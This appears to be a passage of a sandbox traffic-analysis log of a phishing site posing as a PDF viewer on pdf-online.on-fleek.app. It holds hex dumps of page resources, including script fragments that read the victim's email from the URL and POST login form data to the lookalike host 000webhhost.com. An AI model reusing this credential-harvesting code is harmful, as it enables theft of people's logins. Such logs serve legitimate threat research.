'https://000webhhost.com/login.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onreadystatechange = function () { if (xhr.readyS
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 65 72 72 6f 72 4d 65 73 73 61 67 65 44 69 76 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 6c 65 61 72 20 69 6e 70 75 74 20 66 69 65 6c 64 73 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 70 61 73 73 77 6f 72 64 27 29 2e 76 61 6c 75 65 20 3d 20 27 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 43 6c 65 61 72 20 74 68 65 20 43 41 50 54 43 48 41 20 72 65 73 70 6f 6e 73 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: errorMessageDiv.style.display = 'block'; // Clear input fields document.getElementById('password').value = ''; // Clear the CAPTCHA response
2024-09-27 06:17:57 UTC	154	IN	Data Raw: 6f 6e 73 65 29 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2f 2f 20 43 61 6c 6c 20 74 68 65 20 66 75 6e 63 74 69 6f 6e 20 77 68 65 6e 20 74 68 65 20 70 61 67 65 20 6c 6f 61 64 73 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 65 78 74 72 61 63 74 45 6d 61 69 6c 46 72 6f 6d 55 52 4c 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: onse)); }; // Call the function when the page loads window.onload = extractEmailFromURL; </script></body></html>
2024-09-27 06:17:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:57 UTC	555	OUT	GET /styles.css HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:57 UTC	1186	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:17:57 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 8c995fa5ab7e0c80-EWR CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 87733 Cache-Control: max-age=60, stale-while-revalidate=3600 ETag: W/"bafkreidafqot66v3gzodve4pxwezt5yantorcdbq7k2exvpbxpfxrdmglu" Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: HIT x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/styles.css/ x-ipfs-roots: bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m,bafkreidafqot66v3gzodve4pxwezt5yantorcdbq7k2exvpbxpfxrdmglu x-request-id: 7a4f7080a745adc0478a61bc716e03b2 x-xss-protection: 0
2024-09-27 06:17:57 UTC	355	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 74 74 49 46 78 59 6e 36 43 51 33 63 73 44 4b 63 71 25 32 42 53 56 48 4d 33 39 36 4c 64 6b 4b 71 41 55 25 32 42 75 53 51 6b 6c 25 32 46 5a 72 48 67 5a 4c 31 69 69 33 46 30 42 4b 42 54 37 49 6c 39 36 76 4a 6a 46 68 52 44 34 7a 49 51 6e 63 75 72 46 41 36 6d 53 39 4b 46 33 71 68 46 62 6b 5a 59 4d 51 6c 56 57 70 46 71 6b 64 25 32 46 79 46 5a 53 71 39 59 61 69 41 68 67 73 75 75 50 63 41 44 75 45 51 48 41 73 64 44 58 55 46 45 78 55 76 53 31 41 65 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ttIFxYn6CQ3csDKcq%2BSVHM396LdkKqAU%2BuSQkl%2FZrHgZL1ii3F0BKBT7Il96vJjFhRD4zIQncurFA6mS9KF3qhFbkZYMQlVWpFqkd%2FyFZSq9YaiAhgsuuPcADuEQHAsdDXUFExUvS1Ae"}],"group":"cf-nel","max_age
2024-09-27 06:17:57 UTC	1197	IN	Data Raw: 63 65 65 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 34 66 34 66 34 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 61 63 6b 67 72 6f Data Ascii: ceebody { font-family: Arial, sans-serif; background-color: #f4f4f4; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; position: relative; overflow: hidden;}.backgro
2024-09-27 06:17:57 UTC	1369	IN	Data Raw: 20 65 6c 65 6d 65 6e 74 73 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 63 61 6c 63 28 31 30 30 25 20 2d 20 32 32 70 78 29 3b 20 2f 2a 20 41 64 6a 75 73 74 20 77 69 64 74 68 20 74 6f 20 61 63 63 6f 75 6e 74 20 66 6f 72 20 70 61 64 64 69 6e 67 20 61 6e 64 20 62 6f 72 64 65 72 20 2a 2f 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 69 Data Ascii: elements /}input[type="email"], input[type="password"] { width: calc(100% - 22px); / Adjust width to account for padding and border */ padding: 10px; margin: 10px 0; border: 1px solid #ccc; border-radius: 5px; box-si
2024-09-27 06:17:57 UTC	751	IN	Data Raw: 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2f 2a 20 48 69 64 64 65 6e 20 62 79 20 64 65 66 61 75 6c 74 20 2a 2f 0d 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 65 6d 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 20 2f 2a 20 45 6e 73 75 72 65 73 20 6f 76 65 72 6c 61 79 20 69 73 20 6f 6e 20 74 6f 70 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 6f 76 65 72 6c 61 79 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 7d 0d 0a 0d 0a 2f 2a 20 45 72 72 6f 72 20 6d 65 73 73 61 67 Data Ascii: t-align: center; display: none; /* Hidden by default / align-items: center; justify-content: center; font-size: 1.5em; z-index: 9999; / Ensures overlay is on top /}.overlay.show { display: flex;}/ Error messag
2024-09-27 06:17:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:57 UTC	699	OUT	GET /1.pdf HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:58 UTC	1166	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:17:57 GMT Content-Type: application/pdf Content-Length: 175997 Connection: close CF-Ray: 8c995fa8de374333-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 87733 Cache-Control: max-age=60, stale-while-revalidate=3600 ETag: "bafkreibgqepz7ttrxvsod4rf4qnvagd6bl6ehvex4edau4nazblwaysqde" Strict-Transport-Security: max-age=31536000; includeSubDomains access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: HIT x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/1.pdf/ x-ipfs-roots: bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m,bafkreibgqepz7ttrxvsod4rf4qnvagd6bl6ehvex4edau4nazblwaysqde x-request-id: c275482a4dbc935c545e5fea377bf199 x-xss-protection: 0
2024-09-27 06:17:58 UTC	361	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 55 4c 45 42 79 57 4d 58 47 4c 70 6e 6f 6a 78 58 77 63 78 5a 66 45 53 73 65 48 47 6f 4d 50 34 65 33 44 5a 70 57 56 46 6e 51 32 64 51 4f 6f 25 32 42 76 47 45 78 55 6d 67 46 65 71 79 42 66 45 6b 68 64 52 4f 69 36 41 37 45 25 32 42 6b 41 57 25 32 42 5a 6c 33 6c 63 51 25 32 42 37 56 64 76 35 53 25 32 46 38 67 57 37 56 4a 6d 4f 4f 77 6d 69 77 63 4d 49 6d 59 39 46 69 63 4b 64 55 44 65 6a 4f 25 32 46 74 5a 33 61 44 45 72 61 44 52 25 32 42 44 39 63 49 51 53 68 58 52 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ULEByWMXGLpnojxXwcxZfESseHGoMP4e3DZpWVFnQ2dQOo%2BvGExUmgFeqyBfEkhdROi6A7E%2BkAW%2BZl3lcQ%2B7Vdv5S%2F8gW7VJmOOwmiwcMImY9FicKdUDejO%2FtZ3aDEraDR%2BD9cIQShXR"}],"group":"cf-nel","m
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 33 32 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 31 33 33 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 33 34 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 37 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 32 0 R/MarkInfo<</Marked true>>/Metadata 133 0 R/ViewerPreferences 134 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 27 0 R] >>endobj3 0 obj<</Type/Page/Paren
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: d4 e5 0e 1a 62 10 7b 15 83 80 35 34 55 8a 4e 30 9f ba 29 be 96 f8 f5 0c 42 41 c1 6c c8 e5 14 fb 8f b3 d1 25 c4 c1 b2 b4 72 d0 33 40 42 72 af 12 62 10 ca b7 10 d0 12 f3 d5 f1 c5 03 91 93 ab 36 31 03 a4 a3 f6 29 1d 1d db 34 b9 42 d1 5b c8 cd 4f 41 46 3a b8 24 97 68 51 56 40 e3 0b 04 72 08 10 48 1b ff 00 89 e8 bd 4a c4 24 54 d6 d6 e8 fa 0f 54 09 94 cb eb d1 fd 8a 06 21 28 07 ce c9 d8 98 20 45 60 c6 85 69 f4 95 c5 72 99 b9 30 0d 0a af 79 d0 12 34 aa 84 4e c6 78 33 7a a6 10 95 e8 59 85 29 42 5b 31 4d 1e 1d 6b 33 59 5c 19 a3 16 57 85 cd ca 34 15 08 9c a6 01 d4 08 91 8c 53 55 88 cd 74 e7 58 a6 5b 91 3b a7 2a 16 20 76 29 31 04 2a 99 d4 bc de 63 e6 e8 e0 6b 81 5f 9b 30 0a c8 66 49 b0 fd 37 e8 f6 0c 95 9c 40 ce f5 04 9d e9 fc d6 5a 3d 39 b9 38 8f d4 8f 09 e4 99 30 Data Ascii: b{54UN0)BAl%r3@Brb61)4B[OAF:$hQV@rHJ$TT!( E`ir0y4Nx3zY)B[1Mk3Y\W4SUtX[;* v)1*ck_0fI7@Z=980
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 36 dd f8 32 d9 94 f8 ec 68 03 5f 01 94 e3 73 0a 70 18 94 f3 26 89 2f 39 1c e9 14 46 c4 8a aa 6d 2f 70 48 df be e6 76 77 9c fd 44 61 ed 56 33 ad 4b 34 67 74 09 1b c7 45 9f 5d b1 82 2b d2 b1 0b eb 10 51 f8 f2 c9 ed d6 a7 1e 37 93 f4 1a 30 1e 9b d6 3d cc 7f 07 10 e4 4b 18 b7 21 c8 34 09 12 54 32 17 41 bb dd fe 8e 9a fb 03 cc 9e 55 b6 d1 4c 3e cf 61 ed d7 36 5f 99 87 78 27 4e 07 df ec 55 9e f9 4d 76 cc 0f 5f eb 19 a6 31 ab 6f 78 41 dd 36 d7 b8 b7 6d 87 a6 c5 e3 37 cb c5 1d 5e c6 5c 85 9c 07 8f f9 d8 66 0e 71 7d b9 20 f6 ae d4 5d 31 e3 e6 73 7a 40 ae cb 59 b0 74 b2 a8 b1 83 74 dc 94 e3 4f e9 d5 78 1d 7c 87 8f 9d db 8e 21 d4 86 3c 62 33 9f a1 7c c6 22 5b ae 4a 26 90 e6 0a 23 c8 6e 8a 62 4d 47 15 b6 92 f6 a2 d2 78 6b ea 53 48 5f aa bf ab 07 cb ad 44 d8 13 f4 2d Data Ascii: 62h_sp&/9Fm/pHvwDaV3K4gtE]+Q70=K!4T2AUL>a6_x'NUMv_1oxA6m7^\fq} ]1sz@YttOx\|!<b3\|"[J&#nbMGxkSH_D-
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 42 4d 2f 4e 6f 72 6d 61 6c 2f 63 61 20 31 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 45 78 74 47 53 74 61 74 65 2f 42 4d 2f 4e 6f 72 6d 61 6c 2f 43 41 20 31 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 39 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 46 6f 6e 74 2f 53 75 62 74 79 70 65 2f 54 72 75 65 54 79 70 65 2f 4e 61 6d 65 2f 46 32 2f 42 61 73 65 46 6f 6e 74 2f 42 43 44 46 45 45 2b 53 65 67 6f 65 55 49 2d 42 6f 6c 64 49 74 61 6c 69 63 2f 45 6e 63 6f 64 69 6e 67 2f 57 69 6e 41 6e 73 69 45 6e 63 6f 64 69 6e 67 2f 46 6f 6e 74 44 65 73 63 72 69 70 74 6f 72 20 31 30 20 30 20 52 2f 46 69 72 73 74 43 68 61 72 20 33 32 2f 4c 61 73 74 43 68 61 72 20 31 31 36 2f 57 69 64 74 68 73 20 31 32 32 20 30 20 52 3e 3e 0d 0a 65 6e 64 Data Ascii: BM/Normal/ca 1>>endobj8 0 obj<</Type/ExtGState/BM/Normal/CA 1>>endobj9 0 obj<</Type/Font/Subtype/TrueType/Name/F2/BaseFont/BCDFEE+SegoeUI-BoldItalic/Encoding/WinAnsiEncoding/FontDescriptor 10 0 R/FirstChar 32/LastChar 116/Widths 122 0 R>>end
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 2f 53 75 62 74 79 70 65 2f 49 6d 61 67 65 2f 57 69 64 74 68 20 31 39 35 2f 48 65 69 67 68 74 20 36 31 2f 43 6f 6c 6f 72 53 70 61 63 65 2f 44 65 76 69 63 65 52 47 42 2f 42 69 74 73 50 65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 66 61 6c 73 65 2f 53 4d 61 73 6b 20 31 36 20 30 20 52 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 4c 65 6e 67 74 68 20 34 34 32 32 3e 3e 0d 0a 73 74 72 65 61 6d 0d 0a 78 9c ed 5d 8b 53 56 d5 16 ff 2a c4 c4 91 49 a6 61 18 8d 24 27 47 d3 cf c1 82 34 46 ec 82 99 0a 32 88 95 8a a1 95 af d1 7c a2 4d 09 a6 5c 8d f2 95 f8 c0 8a 7c e4 03 9f 29 f9 04 1f 09 e1 23 45 01 51 c9 b7 e2 5b 18 10 54 ec fe 01 f7 17 e7 ce b9 8b 75 ce d9 67 9f 8f ef Data Ascii: j<</Type/XObject/Subtype/Image/Width 195/Height 61/ColorSpace/DeviceRGB/BitsPerComponent 8/Interpolate false/SMask 16 0 R/Filter/FlateDecode/Length 4422>>streamx]SV*Ia$'G4F2\|M\\|)#EQ[Tug
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 02 48 5f a5 7e 43 73 46 45 45 d1 d4 ed 3b 77 d1 d4 ee e1 e1 ba 42 74 81 04 5a 97 b9 5e db 18 68 e6 67 9f 7d d6 61 6f 20 81 30 65 c0 0a 95 e9 de 9b b7 ef c8 1c 4c 38 1a 0c 24 ac 13 2b 2a ab d4 54 18 42 11 91 91 94 d9 ec 96 9e 9e ae db 0c b7 03 09 3a f9 c6 cd 5b 6a b6 f2 ca 4a 2c ac 68 c3 66 7f fd 35 95 93 99 b9 41 57 8e 11 90 fc fc fc ae df b8 49 93 30 a7 c3 f0 56 52 6d 0e 24 10 6c dd 3d d9 d9 32 3d 9c 94 3c 5d 46 20 03 52 de a1 43 93 84 f4 ea ab af d2 e2 13 26 4e b4 f4 dd 81 3a 5d 6f 3d 06 24 e8 31 4c 4c ba 1c 16 16 26 03 a4 a1 43 87 5a 6a 58 cd c3 47 ba 07 04 46 40 02 25 24 24 d0 a4 29 53 3f 53 93 ec 0f 24 10 96 18 a7 4a 4e 9b f6 cc ad 3b 77 65 94 52 43 96 ff b0 2b 64 5a c2 58 d7 45 c4 ed cb 7f ba 8b 25 c9 ca 9a 8e 57 67 0c 24 10 fe 54 9e 1f 2f 28 a0 a7 Data Ascii: H_~CsFEE;wBtZ^hg}ao 0eL8$+*TB:[jJ,hf5AWI0VRm$l=2=<]F RC&N:]o=$1LL&CZjXGF@%$$)S?S$JN;weRC+dZXE%Wg$T/(
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: d3 49 65 3c 54 ef 74 a8 e4 02 90 c0 98 53 e8 99 5d 48 48 28 cb 00 3b 6d c5 8a 95 cb 7e f8 61 d7 9e 3d ec ed 54 6f 19 19 20 c9 5f 22 73 23 61 fa 36 75 46 c2 c0 34 0d c3 c5 80 b4 74 d9 32 35 09 53 18 d4 4b df be 51 eb 32 d7 6b eb d2 8d 52 a5 75 00 86 21 34 7a f4 68 6a 06 a3 49 c3 47 8e d4 ee a3 6a dd 26 41 98 59 b4 2f 85 e9 95 a2 0e e8 c5 78 61 b7 ef c1 b0 d0 18 da 19 90 8e 9f 3c c9 aa 83 58 a8 32 98 37 4c 54 04 f1 0d c6 ba 89 26 01 e7 14 66 3e 3e cd 47 8c 1a 05 68 29 0d 50 6f a9 db 13 48 68 b9 6e 08 32 c6 6b d6 ad 33 15 25 00 12 25 4c a3 58 73 d1 9c b0 6c 95 d9 5f a5 56 ad 5b b3 f1 58 72 fa 8c 91 fd 83 cc da 19 90 c5 f9 c4 a4 c6 8c 40 c0 cf c8 00 86 75 91 9d 93 c3 04 c6 0f 19 52 af 52 33 20 29 84 af 8f 24 9a 93 2e ba a1 7c 68 92 d6 ff dc 51 77 ab 0e 66 3f Data Ascii: Ie<TtS]HH(;m~a=To _"s#a6uF4t25SKQ2kRu!4zhjIGj&AY/xa<X27LT&f>>Gh)PoHhn2k3%%LXsl_V[Xr@uRR3 )$.\|hQwf?
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 52 0c 1f da e8 b4 08 93 8b 76 03 d3 14 48 7e 7e 7e f4 27 0c 6a eb d6 ef 54 01 86 84 84 ea ee e6 a1 25 90 76 a2 b0 50 bb 7c 53 94 bc 9d 81 84 8f 32 63 e6 4c f9 2d 23 5d b2 0a 24 54 9a 38 65 aa c0 3c c0 e7 63 91 87 4d 39 67 df 7e c1 af a8 00 60 df 65 64 58 12 88 6f aa eb 75 60 0a 24 87 de 69 1d bd 18 88 09 d4 52 74 4a 25 7e bb c3 c6 40 3a 53 5a 2a 19 03 44 4c 96 80 84 61 6e fa 83 59 8e 3a db e6 9b 6f e6 18 29 1f ca b0 79 be 4d 5b 24 b3 46 c0 a4 29 b9 b1 0f 95 68 64 2e ca 00 09 c4 94 2a 26 cd a0 a0 20 35 15 73 34 94 a4 4c 63 50 30 bc 47 0f a5 94 0d 81 04 65 3e 6f fe 7c dd df 04 71 81 64 80 04 bd bd 7e e3 46 0c 55 4b da 0f a6 0b ac 23 ad 2d a4 30 60 b6 35 2b cb 59 3f 3c 9a 98 30 b4 a1 9a 8c be 20 cc b6 fd 07 0e 1a c5 5d ff 8f 04 39 20 c1 e0 64 67 9a d9 39 39 Data Ascii: RvH~~~'jT%vP\|S2cL-#]$T8e<cM9g~`edXou`$iRtJ%~@:SZDLanY:o)yM[$F)hd.& 5s4LcP0Ge>o\|qd~FUK#-0`5+Y?<0 ]9 dg99
2024-09-27 06:17:58 UTC	1369	IN	Data Raw: 32 41 f0 4e 5a ed 1d 21 fc 8a 64 34 65 41 91 a5 e0 df 24 20 dc f5 1d 28 ad 7d 48 60 08 c4 b1 9b 3d ea 42 03 c2 c1 17 35 b9 17 9c 73 85 76 36 c7 30 08 e5 49 8a 0c 62 11 a6 09 45 da e2 79 04 32 15 94 df 92 40 11 48 e4 97 4c ed f5 ec 65 f0 f4 52 b5 7d 29 b4 87 ce 66 10 3c bf 54 0f 89 45 16 09 08 64 87 34 c4 09 09 1c 81 24 df 64 6a 9f e6 05 21 4b 6c 0e 3d 65 f7 82 d0 df 50 e4 52 a8 80 d0 a3 b1 2d 9d b4 03 81 2c 65 6a 2f f1 82 f0 99 a1 3d f4 a7 5e 10 d6 19 8b 8c 17 10 c8 0b 05 a4 5d 08 91 f5 7a e5 6d b1 96 08 89 30 3c aa 4e 57 e5 65 c8 d8 6a 8d 70 57 8b a4 9e d7 8a 3c 0f 91 32 11 c1 1e da 3e 04 b9 c7 51 e4 57 96 08 4b c0 35 47 33 b1 87 76 f5 b4 44 98 0f ea 22 ad 08 f6 d0 34 59 40 50 24 70 84 24 b7 8e f0 8e 15 02 ce 1e 5b 99 0b f5 36 a4 e4 5b 21 d8 61 08 e0 62 Data Ascii: 2ANZ!d4eA$ (}H`=B5sv60IbEy2@HLeR})f<TEd4$dj!Kl=ePR-,ej/=^]zm0<NWejpW<2>QWK5G3vD"4Y@P$p$[6[!ab

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:17:57 UTC	596	OUT	GET /w.png HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:17:58 UTC	1159	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:17:57 GMT Content-Type: image/png Content-Length: 36145 Connection: close CF-Ray: 8c995fa8ef3d4358-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 87733 Cache-Control: max-age=60, stale-while-revalidate=3600 ETag: "bafkreiel5lhlirpqoqcibn6h5bve6wb7a5xbtn4mslqox3weqirgkfcpom" Strict-Transport-Security: max-age=31536000; includeSubDomains access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output access-control-max-age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-cache-status: HIT x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/w.png/ x-ipfs-roots: 